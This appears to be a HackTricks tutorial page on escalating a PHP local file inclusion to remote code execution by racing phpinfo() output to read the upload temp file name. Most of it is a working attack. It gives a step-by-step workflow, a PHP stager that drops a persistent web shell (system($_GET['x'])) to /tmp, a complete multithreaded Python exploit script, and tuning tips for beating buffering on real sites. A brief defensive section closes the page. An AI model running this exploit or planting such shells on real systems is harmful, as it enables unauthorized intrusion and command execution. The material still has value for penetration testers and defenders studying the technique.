LFI to RCE via PHPInfo

Tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

To exploit this technique you need all of the following:

  • A reachable page that prints phpinfo() output.
  • A Local File Inclusion (LFI) primitive you control (e.g., include/require on user input).
  • PHP file uploads enabled (file_uploads = On). Any PHP script will accept RFC1867 multipart uploads and create a temporary file for each uploaded part.
  • The PHP worker must be able to write to the configured upload_tmp_dir (or default system temp directory) and your LFI must be able to include that path.

Classic write-up and original PoC:

  • Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011)
  • Original PoC script name: phpinfolfi.py (see whitepaper and mirrors)

Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s

Notes about the original PoC

  • The phpinfo() output is HTML-encoded, so the “=>” arrow often appears as “=>”. If you reuse legacy scripts, ensure they search for both encodings when parsing the _FILES[tmp_name] value.
  • You must adapt the payload (your PHP code), REQ1 (the request to the phpinfo() endpoint including padding), and LFIREQ (the request to your LFI sink). Some targets don’t need a null-byte (%00) terminator and modern PHP versions won’t honor it. Adjust the LFIREQ accordingly to the vulnerable sink.

Example sed (only if you really use the old Python2 PoC) to match HTML-encoded arrow:

sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py

LFI-With-PHPInfo-Assistance.pdf

Theory

  • When PHP receives a multipart/form-data POST with a file field, it writes the content to a temporary file (upload_tmp_dir or the OS default) and exposes the path in $_FILES[‘’][‘tmp_name’]. The file is automatically removed at the end of the request unless moved/renamed.
  • The trick is to learn the temporary name and include it via your LFI before PHP cleans it up. phpinfo() prints $_FILES, including tmp_name.
  • By inflating request headers/parameters (padding) you can cause early chunks of phpinfo() output to be flushed to the client before the request finishes, so you can read tmp_name while the temp file still exists and then immediately hit the LFI with that path.

In Windows the temp files are commonly under something like C:\Windows\Temp\php*.tmp. In Linux/Unix they are usually in /tmp or the directory configured in upload_tmp_dir.

What to verify in phpinfo() before racing

Before sending thousands of requests, extract the values that decide whether the race is realistic:

  • file_uploads: must be On.
  • upload_tmp_dir: if set, this is the directory your LFI must be able to include. If empty, expect the system default temp directory.
  • open_basedir: if enabled, your vulnerable include path still needs to be able to reach the temp directory shown in tmp_name.
  • output_buffering: 4096 is a common/default size and is why many PoCs read in 4KB chunks, but this value can differ.
  • zlib.output_compression, output_handler, and any framework-level buffering: these reduce the chance of seeing tmp_name early enough.
  • Server API: useful to decide how much buffering may exist between PHP and you (apache2handler is usually easier to reason about than fpm-fcgi behind a reverse proxy).

If the page does not show $_FILES, make sure you are really sending a multipart/form-data request with an actual file part. PHP only populates tmp_name for upload fields that were parsed.

Attack workflow (step by step)

  1. Prepare a tiny PHP payload that persists a shell quickly to avoid losing the race (writing a file is generally faster than waiting for a reverse shell):
<?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>');
  1. Send a large multipart POST directly to the phpinfo() page so it creates a temp file that contains your payload. Inflate various headers/cookies/params with ~5–10KB of padding to encourage early output. Make sure the form field name matches what you’ll parse in $_FILES.

  2. While the phpinfo() response is still streaming, parse the partial body to extract $_FILES[‘’][‘tmp_name’] (HTML-encoded). As soon as you have the full absolute path (e.g., /tmp/php3Fz9aB), fire your LFI to include that path. If the include() executes the temp file before it is deleted, your payload runs and drops /tmp/.p.php.

  3. Use the dropped file: GET /vuln.php?include=/tmp/.p.php&x=id (or wherever your LFI lets you include it) to execute commands reliably.

Tips

  • Use multiple concurrent workers to increase your chances of winning the race.
  • Padding placement that commonly helps: URL parameter, Cookie, User-Agent, Accept-Language, Pragma. Tune per target.
  • If the vulnerable sink appends an extension (e.g., .php), you don’t need a null byte; include() will execute PHP regardless of the temp file extension.

Minimal Python 3 PoC (socket-based)

The snippet below focuses on the critical parts and is easier to adapt than the legacy Python2 script. Customize HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (path to the LFI sink), and PAYLOAD.

#!/usr/bin/env python3
import re, html, socket, threading

HOST = 'target.local'
PORT = 80
PHPSCRIPT = '/phpinfo.php'
LFIPATH = '/vuln.php?file=%s'  # sprintf-style where %s will be the tmp path
THREADS = 10

PAYLOAD = (
    "<?php file_put_contents('/tmp/.p.php', '<?php system($_GET[\\"x\\"]); ?>'); ?>\r\n"
)
BOUND = '---------------------------7dbff1ded0714'
PADDING = 'A' * 6000
REQ1_DATA = (f"{BOUND}\r\n"
             f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n"
             f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n")

REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n"
        f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n"
        f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n"
        f"Content-Type: multipart/form-data; boundary={BOUND}\r\n"
        f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}")

LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n")

pat = re.compile(r"\\[tmp_name\\]\\s*=&gt;\\s*([^\\s<]+)")


def race_once():
    s1 = socket.socket()
    s2 = socket.socket()
    s1.connect((HOST, PORT))
    s2.connect((HOST, PORT))
    s1.sendall(REQ1.encode())
    buf = b''
    tmp = None
    while True:
        chunk = s1.recv(4096)
        if not chunk:
            break
        buf += chunk
        m = pat.search(html.unescape(buf.decode(errors='ignore')))
        if m:
            tmp = m.group(1)
            break
    ok = False
    if tmp:
        req = (LFI % tmp).encode() % HOST.encode()
        s2.sendall(req)
        r = s2.recv(4096)
        ok = b'.p.php' in r or b'HTTP/1.1 200' in r
    s1.close(); s2.close()
    return ok

if __name__ == '__main__':
    hit = False
    def worker():
        nonlocal_hit = False
        while not hit and not nonlocal_hit:
            nonlocal_hit = race_once()
        if nonlocal_hit:
            print('[+] Won the race, payload dropped as /tmp/.p.php')
            exit(0)
    ts = [threading.Thread(target=worker) for _ in range(THREADS)]
    [t.start() for t in ts]
    [t.join() for t in ts]

Troubleshooting

  • You never see tmp_name: Ensure you really POST multipart/form-data to phpinfo(). phpinfo() prints $_FILES only when an upload field was present.
  • tmp_name appears only at the very end of the response: This is usually a buffering problem, not a PHP-version problem. Large output_buffering values, zlib.output_compression, userland output handlers, or reverse-proxy/FastCGI buffering can delay the phpinfo() body until the upload request is almost done.
  • You only get reliable streaming in a lab, not through the real site: A CDN, WAF, or reverse proxy may be buffering the upstream response. If you have multiple routes to the same app, prefer the most direct origin path.
  • The classic 4096-byte offset logic misses the leak: Treat 4096 as a starting point derived from common output_buffering defaults, not as a universal constant. Parse incrementally and stop as soon as tmp_name is complete.
  • The temp file is included but your shell dies immediately: Use a tiny stager that writes a second file, because the uploaded temp file will still be deleted when the original request ends.
  • Output doesn’t flush early: Increase padding, add more large headers, or send multiple concurrent requests. Some SAPIs/buffers won’t flush until larger thresholds; adjust accordingly.
  • LFI path blocked by open_basedir or chroot: You must point the LFI to an allowed path or switch to a different LFI2RCE vector.
  • Temp directory not /tmp: phpinfo() prints the full absolute tmp_name path; use that exact path in the LFI.

Practical notes for modern stacks

  • This technique is still reproducible in modern lab environments; for example, Vulhub keeps a demonstrator on PHP 7.2. In practice, success tends to depend more on output buffering and proxying than on a phpinfo-specific patch level.
  • flush() and implicit_flush only influence PHP’s own output layer. They do not guarantee that a FastCGI gateway, reverse proxy, browser, or intermediary will release partial chunks immediately.
  • If the target is fpm-fcgi behind Nginx/Apache proxying, think in layers: PHP buffer, PHP output handlers/compression, FastCGI buffering, then proxy buffering. The race only works if enough of the phpinfo() response escapes that chain before request shutdown deletes the temp file.

Defensive notes

  • Never expose phpinfo() in production. If needed, restrict by IP/auth and remove after use.
  • Keep file_uploads disabled if not required. Otherwise, restrict upload_tmp_dir to a path not reachable by include() in the application and enforce strict validation on any include/require paths.
  • Treat any LFI as critical; even without phpinfo(), other LFI→RCE paths exist.

LFI2RCE Via temp file uploads

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

LFI2RCE via Nginx temp files

LFI2RCE via Eternal waiting

References

  • LFI With PHPInfo() Assistance whitepaper (2011) – Packet Storm mirror: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf
  • PHP Manual – POST method uploads: https://www.php.net/manual/en/features.file-upload.post-method.php
  • PHP Manual – Flushing System Buffers: https://www.php.net/manual/en/outcontrol.flushing-system-buffers.php
  • Vulhub – PHP Local File Inclusion RCE with PHPINFO: https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.md

Tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks